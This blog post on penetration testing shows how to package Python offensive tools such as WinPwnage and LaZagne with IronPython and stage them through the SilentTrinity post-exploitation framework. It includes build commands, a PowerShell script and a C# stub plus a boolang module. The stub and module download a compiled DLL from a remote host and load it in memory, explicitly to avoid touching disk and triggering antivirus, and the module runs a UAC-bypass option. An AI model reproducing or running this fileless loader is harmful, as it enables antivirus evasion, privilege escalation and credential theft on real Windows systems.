Case of executing python projects through SilentTrinity

Bring your own interpreter - Taking advantage of all the goodies .NET framework has to offer.

SilentTrinity authored by Marcello Salvati is a new kid on the block, a post-exploitation framework that uses .NET framework to assist penetration tester with conducting... well... penetration tests.

Although most of its modules are written in boolang (which is a doodle to convert from C# using SharpDevelop 4.4) the function of using IronPython seemed to be abandoned in the latest release.

This post is an attempt to revive its lost capabilities with the aim of adding extra modules written in Python, such as:

WinPwnage:

LaZagne:

But not limited to:

In simple words more power to the people who need it most. I have began the development already and there is a progress:

WIP

How I got there and so can you...

First a primer on the structure of how IronPython executables are compiled:

╰─$ mono ipyc.exe
ERROR: No files or main defined
ipyc: The Command-Line IronPython Compiler
Usage: ipyc.exe [options] file [file ...]
Options:
/out:output_file Output file name (default is main_file.<extenstion>)
/target:dll Compile only into dll. Default
/target:exe Generate CONSOLE executable stub for startup in addition to dll.
/target:winexe Generate WINDOWS executable stub for startup in addition to dll.
/py:<option> Allows specifying options that modify the behavior of IronPython (e.g., -X:FullFrames)
@<file> Specifies a response file to be parsed for input files and command line options (one per line)
/? /h This message
EXE/WinEXE specific options:
/main:main_file.py Main file of the project (module to be executed first)
/platform:x86 Compile for x86 only
/platform:x64 Compile for x64 only
/embed Embeds the generated DLL as a resource into the executable which is loaded at runtime
/standalone Embeds the IronPython assemblies into the stub executable.
/mta Set MTAThreadAttribute on Main instead of STAThreadAttribute, only valid for /target:winexe
/errfmt:msg A string that will be used when showing an error occured, {{0}} will be replaced by the exception message
/win32icon:file.ico Sets file.ico as the icon for the executable
Example:
ipyc.exe /main:Program.py Form.py /target:winexe

In order to port a Python project to IronPython project certain dependencies need to be met and included:

  1. IronPython.dll

  2. IronPython.Modules.dll

  3. Microsoft.Dynamic.dll

  4. Microsoft.Scripting.dll

  5. Necessary IronPython Standard Libraries used by the project

  6. Any external libraries used by the project.

Challanges:

All those dependencies can create an obstacle to executing a module silently and without leaving any footprint on the disk or network traffic. Firstly, including all of them will create a large size of our executable which is not very portable. PyInstaller, Py2Exe or even Nuitka can generate standalone, onefile binaries with minimum python StdLib modules included but all of those are not suitable to execute through .NET for eg. execute assembly because they are not yhhm.. .NET assemblies. And I have not yet found a way to execute them without dropping compiled exe to the disk and potentially triggering AV.

In simple words I have set up a challenge to overcome:

  • Many dependencies (IronPython *.dll + StdLib *.py)

  • Large size (in most cases average project is 20MB+)

  • Moving from native python to IronPython so we can access .NET

  • Staging python projects without dropping any binaries to disk and triggering AV.

I would not be able to do it without extensibility and flexibility that SilentTrinity kindly included in its framework so let's dig in....

IronPython Dependencies

Let's deal with IPY *.dll first. SilentTrinity on runtime loads dependencies for execution from:

/core/teamserver/data/

Once necessary IronPython libraries are included in the folder we can start adding them for staging.

SilentTrinity does that by packing included assemblies in a session.py (/core/teamserver/) to a *.zip:

Once everything has been included in session.py, a stager will welcome us with the following log:

Successfully loaded IPY *.dlls

We have now loaded IronPython dependencies and we are ready to use a python interpreter with basic modules included in IronPython.Modules.dll. However we need to expand on that if we want to handle more creative projects. That brings us to step 2.

IronPython StdLib + package dependencies

Build preliminary project with IronPython compiler, including only dependencies needed for the package itself + any external dependencies.

mono ipyc.exe /main:WinPwnage/winpwnage.py WinPwnage/winpwnage/.py WinPwnage/winpwnage/core/.py WinPwnage/winpwnage/functions/.py WinPwnage/winpwnage/functions/elevate/.py WinPwnage/winpwnage/functions/execute/.py WinPwnage/winpwnage/functions/uac/.py WinPwnage/winpwnage/functions/persist/.py WinPwnage/deps/.py WinPwnage/deps/colorama/colorama/*.py /target:exe /platform:x64 /out:wp

In our case with WinPwnage we needed extra modules such as colorama and enum34, these can be easily located in the requirements.txt file. Here I have downloaded them to my build folder in the WinPwnage/deps.

Note we did not use /standalone flag that will include IPY *.dll as these are already included in the SilentTrinity stage we created earlier. This allowed us to bring down the size of executable to just 1MB including necessary package dependencies. I also omitted /embed flag as well as we do not want included .resources file in our assembly (explained later why).

We should end up with two files

  • wp.exe - containing out .NET executable stub - 3.5K

  • wp.dll including our package dependencies - 1MB

Move those files to a separate folder on the Windows machine with IronPython *dll. Structure of the folder should look like this:

C:\Users\admin\Desktop\ps>dir
Volume in drive C has no label.
Volume Serial Number is B89D-2622
Directory of C:\Users\admin\Desktop\ps
21/10/2019 23:14 <DIR> .
21/10/2019 23:14 <DIR> ..
09/10/2018 20:50 1,813,504 IronPython.dll
09/10/2018 20:50 743,936 IronPython.Modules.dll
09/10/2018 20:50 892,416 Microsoft.Dynamic.dll
09/10/2018 20:50 140,800 Microsoft.Scripting.dll
21/10/2019 22:59 1,060,864 wp.dll
21/10/2019 22:59 3,584 wp.exe
6 File(s) 4,655,104 bytes
2 Dir(s) 21,170,221,056 bytes free

We are ready to probe for needed dependencies. Upon execution wp.exe will find wp.dll file with package dependencies but will not be able to find modules from StdLib folder. We should be greeted with:

It's time to harvest our dependencies from the Lib folder one by one with a help of below powershell script I have build for this purpose.

$loopCount = 0
$project = Read-Host 'Provide path to compiled IronPython executable'
$libs = Read-Host 'Provide path to IronPython Lib folder'
do{
cmd /c $project | out-file File.txt
$name = Select-String -Path File.txt -Pattern "named" |ForEach-Object {
-split $_.Line |Select-Object -Last 1}
xcopy $libs\$name.py /sy
Write-Host "Dependency created"
$loopCount++
} until ($answered -eq $true)
Write-Host ("Looped {0} times" -f $loopCount)

We are doing this as the whole binary with all IronPython standard Libs compiled is on average 20M. Not cool!! What this script does is executing our binary, saves the error output to the File.txt, reads it, selects the last word (which is our missing dependency) and copies it from the IPY Lib folder to the execution folder and repeats until there are no missing dependencies. Adjust for any recursive copying of needed.

Wait until script cannot find and dependencies. You can check if you have them all, once you can successfuly launch the binary.

By doing this we managed to decrease the size of the StdLib folder to just 2MB. We are getting somewhere, now... Lets include those dependencies back in our project by adding them the the compiler we used previously. I transferred them to StdLib-wp folder and included any recursive directories needed for the project:

mono ipyc.exe /main:WinPwnage/winpwnage.py WinPwnage/winpwnage/*.py WinPwnage/winpwnage/core/*.py WinPwnage/winpwnage/functions/*.py WinPwnage/winpwnage/functions/elevate/*.py WinPwnage/winpwnage/functions/execute/*.py WinPwnage/winpwnage/functions/uac/*.py WinPwnage/winpwnage/functions/persist/*.py WinPwnage/deps/*.py StdLib-wp /*.py StdLib-wp/*/*.py WinPwnage/deps/colorama/colorama/*.py /target:exe /platform:x64 /out:wp

Doing so will leave us with two files:

  • wp.exe - unchanged, exe .NET stub - 3.5 K

  • wp.dll - this time with package dependencies and StdLib dependencies - . 4.2 M

From here we should be ready to launch the binary from the folder with IPY *.dll without any *.py modules lying around. Time to move to phase 3...

Staging python code and all its dependencies from URL.

Our executable stub is a pure, fresh, unabridged .NET assembly. It's structure can be easily seen with dnSpy:

The most interesting part of this code that code my attention was the line 12:

result = PythonOps.InitializeModuleEx(Assembly.LoadFile(fullPath), "__main__", null, false, null);

What is does is loading our wp.dll from the execution folder. This made me wonder!!! Wait a minute, I have seen this function somewhere:

Since we already included our IPY *.dll in the ST stage, all we needed to get the python package running is to stage it from URL. After that we should have a functional way of executing python projects over the net in .NET :). The code required changes and at the end I was left with:

using System;
using System.IO;
using System.Reflection;
using IronPython.Runtime.Operations;
using System.Net;
public class PythonMain
{
public static int Main()
{
int result;
try
{
WebClient wc = new WebClient();
result = PythonOps.InitializeModuleEx(Assembly.Load(wc.DownloadData("http://192.168.1.178:8000/" + "wp.dll")), '__main__', null, false,
}
catch (Exception ex)
{
string text = ex.Message;
Console.WriteLine("Error occurred: {0}", text);
result = -1;
}
return result;
}
}

It totally worked!!! The stub downloaded wp.dll from provided URL and got it ready for execution.

Success!!!

Building SilentTrinity module:

SharpDevelop 4.4 has a nifty options to "translate" the C# code to boolang which allowed me to add it as a module for SilentTrinity. Here is the ported boolang amended code as a module:

import System
import System.IO
import System.Reflection
import IronPython.Runtime.Operations
import IronPython.Modules
import System.Net
// Token: 0x02000002 RID: 2
// Token: 0x06000001 RID: 1 RVA: 0x00002058 File Offset: 0x00000258
//[module]
//public class PythonMain:
public static def WinPwnage(args as string):
text as string
//result as int
wc = WebClient();
try:
//Here we are loading from URL python dependencies specific for the project including StdLib
assembly = PythonOps.InitializeModuleEx(Assembly.Load(wc.DownloadData("http://192.168.1.178:8000/" + "wp.dll")), '__main__', null, false, null)
except ex as Exception:
text = ex.Message
Console.WriteLine('Error occurred: {0}', text)
result = (-1)
return assembly
public static def Main():
args = "-s uac"
WinPwnage(args as string)

Another challange that I have is passing arguments to the code, but I will get it working eventually....

Conclusion:

After days of trying I have found a way to build small(ish) python code that can be loaded from URL and executed through SilentTrinity after we loaded IPY *.dll files.